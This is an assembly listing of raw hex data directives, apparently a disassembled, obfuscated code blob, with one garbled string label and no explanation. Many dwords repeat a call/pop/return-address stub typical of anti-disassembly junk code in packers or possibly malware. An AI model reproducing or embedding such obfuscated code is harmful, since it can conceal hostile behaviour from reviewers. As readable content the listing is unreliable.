		dd 24448104h, 1604h, 0C3534300h, 0E967908Ch, 12h, 437CB7A0h
		dd 0CC62B01Ch, 1CBA5A5Dh, 2B052199h, 858BBD59h,	61201A5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h
		dd 0FDD03165h, 80F25D34h, 0FB8B51FCh, 0C486895Fh, 0E8000000h
		dd 9, 2A50059h,	4C60ED55h, 0FE909h, 92FE0000h, 51CD8048h
		dd 0CC0C065Ch, 5D49C127h, 0E3815FB5h, 12BF9B8h,	9A1958Bh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 26A166C3h, 64423D4Bh, 0CA58D89h, 6E90612h
		dd 0E5000000h, 0AF7AA451h, 0EE9FBh, 527A0000h, 30C52A25h
		dd 0AEAFA723h, 72CE29CCh, 0F504C283h, 6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 72F6C356h, 82C654BCh, 10E9h,	627AB900h, 18B7DC3Eh, 16F3AAFAh
		dd 891E8A63h, 6F858DC5h, 10615DCh, 1210559Dh, 0B8868906h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 4BCEC355h, 6A00B325h, 0B5FFF800h
		dd 615C812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0ECC35646h, 0E5BD6273h,	85891885h, 6121285h, 6A595FFh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8B0F45C3h, 1208DDBDh, 8A605006h, 615953D4h
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 3D7CC355h, 0F85E52DDh,	926708A0h
		dd 0C812B5FFh, 0FFF50615h, 12028195h, 85895106h, 6121571h
		dd 9BD835Bh, 6122Ah, 0AB840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 609602C3h
		dd 0AE85250h, 0A000000h, 4788D771h, 1D9ED841h, 310F594Bh
		dd 12E9h, 88344200h, 0DE519F9Ah, 2AFF0AF3h, 0B017EFF7h
		dd 5AA48B17h, 0FE958h, 65520000h, 0B89AC33h, 1A4C3B91h
		dd 534EF91Ch, 0F506178h, 1C8Eh,	0E8525000h, 0Ah, 0B577474Eh
		dd 52DA5C65h, 0F5FE645h, 880F31h, 5A000000h, 6A9658h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0AF3001C3h, 899DDF80h, 122B0DBDh, 12B5FF06h,	890615C8h
		dd 1215259Dh, 0C195FF06h, 60061218h, 89F0B70Fh,	122A559Dh
		dd 0B5FF6106h, 615C812h, 175D8529h, 9D330612h, 6120DD1h
		dd 1BA195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0BBD72AC3h, 0D9BD8B8Bh, 0BB06121Fh
		dd 4D7F1333h, 1EB1BD83h, 0F020612h, 6584h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 10E965h, 65E90000h, 0C1251358h, 63A0195Fh, 0DADFCE2Ch
		dd 858B46F3h, 61203A5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0DCC35141h, 31477538h, 12140D8Dh, 0C606h
		dd 8E0Fh, 85C70000h, 6121B59h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0ECC35141h
		dd 38C0F10h, 0F000000h,	63E9DFB7h, 80FFFFF2h, 0C18BDECBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CCC35141h
		dd 0D485A922h, 0F0E1A13Bh, 0ED9D8998h, 8B061204h, 1219ED9Dh
		dd 1858D06h, 6A06122Eh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 81A1C357h, 51403BEBh
		dd 12E99017h, 9B000000h, 7FBD0C2Dh, 25A11716h, 96C72967h
		dd 0E8A0187Dh, 0A8BB509Dh, 903EE7F2h, 6ADA8Ah, 890F5160h
		dd 0
a_fCaj		db '_f¿)çaj',0
		dd 2D8B858Dh, 9D8B0617h, 6121A49h, 6605C083h, 0FEB2F781h
		dd 58F0F90h, 0BB000000h, 5FF195Fh, 5EBF6650h, 0B75290DAh
		dd 6A5FE6h, 5870Fh, 81660000h, 89CF2FE3h, 1234999Dh, 89006A06h
		dd 121A5D8Dh, 0B595FF06h, 6A06120Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 66CFC357h
		dd 8D8DDF8Bh, 615AF02h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 6DC35040h, 0BF66D140h, 0D1FFCAECh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 4EC35040h, 5D826738h
		dd 2C619509h, 0BD830612h, 61207ADh, 32850F01h, 3000000h
		dd 122041BDh, 8B026A06h, 120E9D9Dh, 1AB39006h, 0AE950h
		dd 0BAAE0000h, 823C8108h, 25884514h, 0ED9D8B90h, 0FF06121Dh
		dd 1206A595h, 1FBB6606h, 0C5DE93Dh, 0E80000h, 5D000000h
		dd 2D95ED81h, 0BF0F0617h, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 192DD69Fh
		dd 858DF88Bh, 6159437h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 16C35141h, 6678F001h,	6690F98Bh, 9050DE8Bh
		dd 35FF64F5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0ECC35040h
		dd 1747AEF8h, 64E024D8h, 2589h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 36EC59C3h
		dd 0F75116A1h, 0B5893EDCh, 6121DA5h, 0FFFA8B66h, 12067985h
		dd 0D2D6BF06h, 5E84252h, 51000000h, 3F49929h, 12E9h, 3DAB6300h
		dd 0DD4D1762h, 0F3E886E2h, 0DBF7666Ch, 5FEED7A7h, 6AFF6Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 85A177C3h, 0ADB5FF9Ch, 81061206h, 437AC6E7h,	0E585894Ah
		dd 0FF06122Ch, 122CB595h, 141E906h, 78BF0000h, 0B07896D4h
		dd 0F8B70F00h, 6E870E6h, 9B000000h, 20F7F5C1h, 6840F8Fh
		dd 81000000h, 441496F3h, 71E45F2Bh, 3485BD8Bh, 613C0612h
		dd 10D830Fh, 85310000h,	6122EC9h, 81C8B60Fh, 24D1B1D7h
		dd 6BA4Fh, 0BF0F0000h, 66C18BFAh, 0C13A48BFh, 10E904E8h
		dd 0A1000000h, 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 669D7C59h
		dd 9D29E2F7h, 6121321h,	0FE8C82Bh, 38000000h, 4B5D2F23h
		dd 55865982h, 0CB510289h, 0BD29D977h, 612164Dh,	0DF81665Bh
		dd 0D18BD0F6h, 6E8h, 0B024E800h, 0E95D12FAh, 11h, 898D8323h
		dd 0AE9BC86Ah, 0A68E000h, 716068C6h, 84E95BADh,	89000000h
		dd 121E898Dh, 4C858B06h, 8B505F4Ch, 7C083FAh, 0C083FE8Bh
		dd 5D9D0100h, 3B06121Ah, 11830FD0h, 89000000h, 120899BDh
		dd 55E906h, 0B5890000h,	61210F9h, 0FFFF8D8Bh, 0BD8BFFFFh
		dd 612099Dh, 0F01E183h,	3A84h, 0BE900h,	8EBF0000h, 0F06A0150h
		dd 882F68ABh, 0FFA5830Fh, 0FEFFFFFFh, 6820Fh, 85290000h
		dd 6122C61h, 4C4C9589h,	8D89505Fh, 6122D75h, 19C59D8Bh
		dd 0E90612h, 8D000000h,	16A774B5h, 3D1DBF06h, 6A35D4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E7C35646h
		dd 870F55B5h, 2, 95FF5AB3h, 61219CDh, 6E99D8Bh,	23B90612h
		dd 60000011h, 17D68166h, 0ED8D89EAh, 61061208h,	89FCE183h
		dd 122ADDBDh, 6AFC06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BD8B7DC3h, 612175Dh, 62EF8166h
		dd 0B843h, 8D0F0000h, 17h, 0DE8h, 0DE39E600h, 44EFEEABh
		dd 3DC619EDh, 0BF66572Fh, 0BA5F42BEh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1C35747h
		dd 0E3D66D72h, 0AD4AF380h, 0E8D1C233h, 0E983D003h, 8BF47504h
		dd 120CCD9Dh, 0FDBD8906h, 2906120Dh, 123169B5h,	880D06h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0D4EBC5C3h, 0A1958BF1h, 6A061209h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0E0C0C357h, 47351328h, 5032B124h, 47F650BBh,	8D8B5B02h
		dd 6120505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0BFC35040h, 0FB8B508Eh,	9919589h, 8B500612h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 9AD2BF66h, 11E8h, 0C82F2800h
		dd 0ACA07C26h, 962B5C64h, 4C9FDFB9h, 8EBF55BEh,	5F116D62h
		dd 83F9BF0Fh, 122121BDh, 840F0006h, 48h, 0CC78166h, 0B8DAh
		dd 10E90000h, 70000000h, 15A01B90h, 28B3EB1Ah, 53CEF88Ch
		dd 8DC8FFF8h, 124DB58Dh, 14E95106h, 49000000h, 1554E23h
		dd 6AA34FB5h, 0B750342Ah, 7072DACh, 5B7B8181h, 0BD8BE1FFh
		dd 61230D1h, 1BD9BD83h,	0F000612h, 3C384h, 258D3100h, 0F061230h
		dd 68Eh, 859D8B00h, 83061218h, 121BD9BDh, 840F0106h, 3BFh
		dd 8D29F560h, 6120701h,	0D9BD8361h, 306121Bh, 373860Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 72DF76C3h, 14288BEBh, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 810F9631h
		dd 6, 1415B589h, 0DA8B0612h, 6AD98C66h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 740BC352h
		dd 0F5D42A0Ah, 6A04E180h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89C5C351h, 121A4D9Dh
		dd 0FC90A06h, 13D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 12C07615h, 5F16F73Bh
		dd 8D858B84h, 0F061230h, 580h, 0CF816600h, 853377D0h, 6123165h
		dd 108D0F90h, 0E9000000h, 0Bh, 42F31683h, 0CA7D280Ah, 50D9078Fh
		dd 10E9h, 928BA500h, 0A169A1B3h, 0FCDB5EC7h, 304CD976h
		dd 8D299000h, 6120025h,	6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0D5383CC3h, 389BC21Ch
		dd 29BD89AAh, 0E8061213h, 4, 1F03FFh, 7E9h, 0C9F1C200h
		dd 0EB59D17Eh, 3F4BBF50h, 448B56FBh, 0BF660424h, 8B476Bh
		dd 3CBE6660h, 0DE807h, 22150000h, 53DEB198h, 7D362008h
		dd 59680778h, 24448961h, 0DE904h, 765E0000h, 7832EB3Bh
		dd 0C74F99D2h, 58529DACh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 75C35747h, 5C59182Ch,	0DA8AB78Eh, 7995FF30h
		dd 89061223h, 121D159Dh, 0C9BD8B06h, 8906121Bh,	15C81285h
		dd 81B58906h, 0E9061230h, 152h,	8EDBD23h, 858B0612h, 615C80Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F1C35141h
		dd 830F385Bh, 0Bh, 0C18B6660h, 1089B58Bh, 0C7610612h, 1800h
		dd 95896000h, 6120749h,	0BE9h, 0E712D400h, 11415ECDh, 9E0F02E7h
		dd 0EB58B61h, 6A0615C8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 4E43C352h, 31BD8BB5h
		dd 0E9061203h, 7, 378950C6h, 8B32C14Eh,	122AB985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0E006C88Fh, 0FB8E78FEh, 0BD8B5FD9h, 61201B1h, 10E90689h
		dd 6F000000h, 3E53B45Ah, 812417C3h, 0B4B93D00h,	8BC3E248h
		dd 12308D85h, 0C9858906h, 89061209h, 8D290446h,	61234BDh
		dd 505B5296h, 0D98A5250h, 0EEBB310Fh, 5A35C212h, 0B5FF9658h
		dd 615C80Ah, 1799589h, 2B680612h, 8B8DCF5Bh, 240481D8h
		dd 724FA8D4h, 0C812858Dh, 0B3500615h, 240489E9h, 1A7ACB81h
		dd 95FF07CAh, 6122379h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 13C35040h, 4A9D54A9h,	0E961D98Bh, 8
		dd 88948D24h, 0D466CB7Ah, 1BD985C7h, 30612h, 0DE80000h
		dd 0B8000000h, 651B73D3h, 0E5B6F62h, 9B1E8C86h,	3075BD8Bh
		dd 835F0612h, 15C812BDh, 840F0006h, 0Dh, 3F1BD09h, 1DE90612h
		dd 8B000000h, 0C3050F9h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 72C35242h, 0D6F8C4BAh, 0E33DB2C0h, 5E8h
		dd 3302E300h, 0BE90543h, 0D0000000h, 2A4F4688h,	192F5F27h
		dd 0F5F1B10h, 286h, 83DA8B00h, 121BD9BDh, 850F0306h, 377h
		dd 0CE816660h, 0E9606D67h, 0Dh,	0A11354B7h, 0AA617D49h
		dd 0EE1F0848h, 0F08B66DBh, 0BD836161h, 615C812h, 4C840F00h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E8F9C351h, 0Ah, 53FF100h, 135C2CB9h
		dd 5BFC4F49h, 0C812B5FFh, 870F0615h, 5,	74C38166h, 0A995FF77h
		dd 6A06121Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0E4D4C351h, 27B318B6h,	8953714Eh
		dd 12186195h, 6B58B06h,	6A0615C8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BFCFC355h
		dd 0BD89A6E1h, 6120389h, 106C7h, 0DA8A0001h, 8E996h, 46E80000h
		dd 0B779262Fh, 0F502A8Fh, 8Fh, 0FE99600h, 14000000h, 619B11ADh
		dd 0E9F40F58h, 15A9D228h, 0B5FFA1D9h, 615C812h,	890Fh
		dd 0FFF50000h, 121C0595h, 0BB665106h, 8B5F8034h, 15C806B5h
		dd 0DA8B6606h, 1A5858Bh, 86890612h, 0C4h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0BFC35040h, 9055079Bh
		dd 8603ED36h, 8166576Fh, 5B9279F7h, 9A1958Bh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 9C9847C3h, 3031826h,	0D1BD8BFCh, 8A061219h, 4C283F9h
		dd 89FE8B66h, 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C302D3C3h, 6F858DBBh, 6A0615DCh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 7282C357h, 29C58550h, 120015BDh, 0B8868906h
		dd 52000000h, 14810Fh, 0FE90000h, 13000000h, 7FE1B68Fh
		dd 0C25946AAh, 3DD62F36h, 6A5F8FBFh, 1870F00h, 0F5000000h
		dd 0C812B5FFh, 0B70F0615h, 0A595FFFAh, 31061206h, 12027D95h
		dd 34895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 1D9D8B0Bh, 0FF06122Dh, 15C812B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 55B589EDh, 0E906121Fh, 0Ch, 0F6950D6Eh
		dd 0B08D0816h, 0C046032Dh, 28195FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 34B1CC3h
		dd 60E13144h, 83DBBF0Fh, 122A09BDh, 840F0006h, 4Ch, 0E8525050h
		dd 0Dh,	0CFA2ADF7h, 5026E484h, 7440AA29h, 860F29h, 5B000000h
		dd 8B66310Fh, 89585AD9h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 380748C3h, 0BBF733F6h
		dd 1D9D272Bh, 0C812B5FFh, 7E90615h, 0C0000000h,	40A0006Eh
		dd 95FF94CAh, 61218C1h,	0DE8h, 2CAD3100h, 4D64CB70h, 238199BCh
		dd 0BD8B8F86h, 61209A5h, 12B5FF5Fh, 8B0615C8h, 121451BDh
		dd 0A195FF06h, 8B06121Bh, 0B1BD83F9h, 206121Eh,	1D840Fh
		dd 0BD8B0000h, 612004Dh, 3A5858Bh, 8B570612h, 1234ED9Dh
		dd 0C65B06h, 0A19D0300h, 0C7061212h, 121B5985h,	6, 59BD2300h
		dd 0E9061217h, 0FFFFF4B4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 7CC35141h, 2A9B046Eh,	0FB8BB77Bh, 8DF8C18Bh
		dd 122E0185h, 19DF8106h, 905640E6h, 0E07F09BFh,	0BF665019h
		dd 6A900C94h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0D83DC353h, 12A469AAh,	5CD7E557h
		dd 61F98B60h, 0DF81006Ah, 2E427089h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0CAC985C3h
		dd 0A2727453h, 0BF0FA9AEh, 0E860FF8h, 0E9000000h, 9, 0BB9436F9h
		dd 1A5C996h, 61958965h,	8D06121Eh, 173C4585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 88687EAEh, 0C083A3CEh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 6E255EC9h
		dd 0C767E313h, 0E956A1F4h, 0Dh,	211BEF4Bh, 606DACF7h, 78755BCCh
		dd 0BB665B4Fh, 9D295CF8h, 61220EDh, 870F6050h, 0Ch, 7E9h
		dd 0C6092300h, 0F2D1492Dh, 66FA8B60h, 61E6F3B8h, 24048961h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 27C35343h
		dd 6AF97651h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0CE85EB34h, 2386FF56h, 6A0F9Dh, 0CE9h
		dd 0FA0F3E00h, 494DCBD7h, 55203DB1h, 0B595FF03h, 0E906120Dh
		dd 14h,	263FBC8Bh, 0C455E309h, 32C59C4Dh, 5B8161C2h, 67EB8EE8h
		dd 0AF028D8Dh, 9E90615h, 5000000h, 68633CF0h, 846A1DF7h
		dd 0D98AD1FFh, 2075BD8Bh, 0BD830612h, 61207ADh,	9C850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 7D3DC356h, 0FC786CCDh,	894D88FDh
		dd 121E899Dh, 0DE906h, 0DB8E0000h, 91E844CCh, 7B8CF9FAh
		dd 6A668441h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F71171DCh, 0F48C641Ch, 665090D4h
		dd 9031DBBFh, 0FF37C780h, 1206A595h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 174EF5CEh
		dd 9BEB6209h, 618D89A3h, 0E9061210h, 0C9Fh, 0E8h, 0ED815D00h
		dd 6173C4Fh, 12ED8D89h,	5E80612h, 0BF000000h, 0E380FE38h
		dd 0C6BF0F60h, 5F615F57h, 9437858Dh, 0B6B70615h, 0BFEFBB90h
		dd 90501060h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	9AC35343h, 0ED5A6E3Ah, 663AA3DFh, 25A4C781h, 35FF64h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0D382C356h, 55113F9Dh,	0B589167Ah
		dd 6121599h, 258964h, 8B000000h, 1211619Dh, 7985FF06h
		dd 6A061206h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 5B45C356h, 8682862Ch, 0EE9h, 7D8C7B00h
		dd 4CF82A46h, 0E82B4E01h, 6A69E27Eh, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2D2356DAh
		dd 0DDB5FFC4h, 8B061213h, 12303D9Dh, 0B595FF06h, 0E906122Ch
		dd 152h, 10E9h,	83424200h, 63DFAD62h, 0C193FE1Dh, 574B303Dh
		dd 8900B024h, 121B79BDh, 0E470E606h, 81DF8171h,	3C6DEB7Fh
		dd 23830F61h, 8B000001h, 1211F99Dh, 0C8B60F06h,	28F0Fh
		dd 0F98B0000h, 6BAh, 0FBBF0F00h, 9D0BC18Bh, 612075Dh, 8B04E8C1h
		dd 122EF59Dh, 0E2F76606h, 7299D8Bh, 81660612h, 2BFD57CFh
		dd 6DBB51C8h, 5B5FBD9Dh, 9589D18Bh, 61222B9h, 0D5E9h, 4840F00h
		dd 66000000h, 8B4C94BFh, 47554C85h, 0D19D8B49h,	8306122Ah
		dd 820F07C0h, 0
		dd 0E900C083h, 0Eh, 0E14BAAE2h,	0C78DA9FAh, 44985FFAh
		dd 0D03BDA34h, 2E830Fh,	0E7810000h, 6E80884Ah, 1ADD9501h
		dd 87E90612h, 0F000000h, 1784h,	10E96000h, 3A000000h, 0B95100C5h
		dd 0F4022A90h, 58B9C9B2h, 613ED737h, 0FFFF8D8Bh, 9D01FFFFh
		dd 612089Dh, 0FD8D8960h, 0E806120Dh, 10h, 93592911h, 0D05E3A6Ah
		dd 22550960h, 76789658h, 0BE8h,	36E26D00h, 9975820Fh, 0BDEFDD68h
		dd 83615E5Ah, 840F01E1h, 26h, 0B70FF98Bh, 0FFA583DFh, 0FEFFFFFFh
		dd 21D19D31h, 0BD8B0612h, 6123175h, 554C9589h, 0B70F4947h
		dd 0E9DFh, 0B58D0000h, 616B897h, 0D2D9D8Bh, 6A0612h, 17BD8D89h
		dd 95FF0612h, 61219CDh,	17A99D89h, 0F7810612h, 2316A4BAh
		dd 106CB9h, 1B50100h, 8306121Fh, 6AFCE1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 5EF87CC3h
		dd 111BD89h, 0B8FC0612h, 0
		dd 6E9h, 52C7F500h, 0BA6D94D0h,	0
		dd 0D18D8953h, 5F061212h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 1B899D8Bh, 0EE90612h, 69000000h, 0BCF0F39h, 834F152Fh
		dd 0B2490C19h, 880D4Ch,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D3C5DFC3h, 0EA5EF4CEh
		dd 33BF6616h, 0A1958BB9h, 89061209h, 121869B5h,	58D8B06h
		dd 6A061205h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0CD1DC350h, 11BD8B8Ch,	50061213h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	9BDB8058h
		dd 9E856h, 42E0000h, 588832DBh,	894A5F5Ch, 1214019Dh, 835B5F06h
		dd 122121BDh, 840F0006h, 3Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0BC35545h, 9FF202F0h, 9D34E79h
		dd 0B8h, 418D8900h, 8D061209h, 124DB58Dh, 25BB6606h, 83E1FFEFh
		dd 121BD9BDh, 840F0006h, 43Bh, 1E059D8Bh, 0BD830612h, 6121BD9h
		dd 43840F01h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 3E2DC356h, 79CF6D75h
		dd 8D014C9Eh, 612009Dh,	1BD9BD83h, 0F030612h, 3D786h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 6639FC54h, 66E7B1BFh, 8B60FA8Bh, 122DC9BDh, 0D98C6606h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E1C35343h
		dd 55B50916h, 89061218h, 120EA59Dh, 9E95206h, 0DA000000h
		dd 3A784AEAh, 8FF04E44h, 4E1805Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 63C35040h, 0BBF98BDDh, 78342F1Bh
		dd 840FC90Ah, 129h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 37C35343h, 10139558h,	66924635h, 858BF88Bh
		dd 612308Dh, 8BFE8B66h,	658533DFh, 0F5061231h, 0DE85290h
		dd 0B6000000h, 7AD692D4h, 0EE65CF09h, 5F469801h, 820Fh
		dd 5F5B0000h, 7E95650h,	0C1000000h, 157E25EEh, 905B8CC8h
		dd 17F58D31h, 0BD890612h, 61203A9h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C6F6C5C3h
		dd 68FC374Ch, 476887A7h, 8B665250h, 8B310FF8h, 81585ADEh
		dd 84582434h, 95FF4777h, 6122379h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 76C35646h, 0D98B08CFh, 0C8128589h
		dd 0EE90615h, 0DE000000h, 2C5C17EBh, 0E3E85691h, 5429C2AAh
		dd 1B5E91Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 6C4B8C3h, 624131A4h, 0A9BD8B33h
		dd 0E8061200h, 0Bh, 0C4405A63h,	82A327CEh, 0F8574D41h
		dd 0A858B5Bh, 0C70615C8h, 1800h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 6C841723h
		dd 0B71BD5E1h, 66FB8B91h, 0A689EF81h, 0C80EB58Bh, 858B0615h
		dd 6122AB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	64C35646h, 0EEFEDE02h, 0D3810689h, 21778EACh, 308D858Bh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0D51E7EC3h, 89F8D822h, 12045195h,	4468906h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 98C35141h
		dd 4353E798h, 1E1DA65h,	120029B5h, 0DA8B5006h, 0FF243489h
		dd 15C80AB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8B660C28h, 8A4568D8h, 810F0C30h
		dd 4, 5BFEB750h, 0BA243481h, 6A0C2F89h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 3B88C351h
		dd 70BE41B5h, 9529DC6Dh, 612116Dh, 0C812858Dh, 6A0615h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0B50A61C3h, 303F767Ah, 1C827DDh, 122C2985h, 2DB52906h
		dd 50061217h, 489FB8Bh,	0FF5FB724h, 12237995h, 36E38106h
		dd 611FB8A3h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	35C35040h, 91B58901h, 0BF061221h, 3286ED61h, 1BD985C7h
		dd 30612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0A4B4B5C3h, 0BD83ACBFh, 615C812h
		dd 3D840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0E43DC355h,	0BB1579h
		dd 0E9082DAAh, 9, 0E2E03A0Ch, 0ED8EF2ABh, 21E98Bh, 95290000h
		dd 6121F9Dh, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 66C08B00h, 6AD98Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 7AC70DC3h, 0E9511360h, 6, 0DC0C7689h
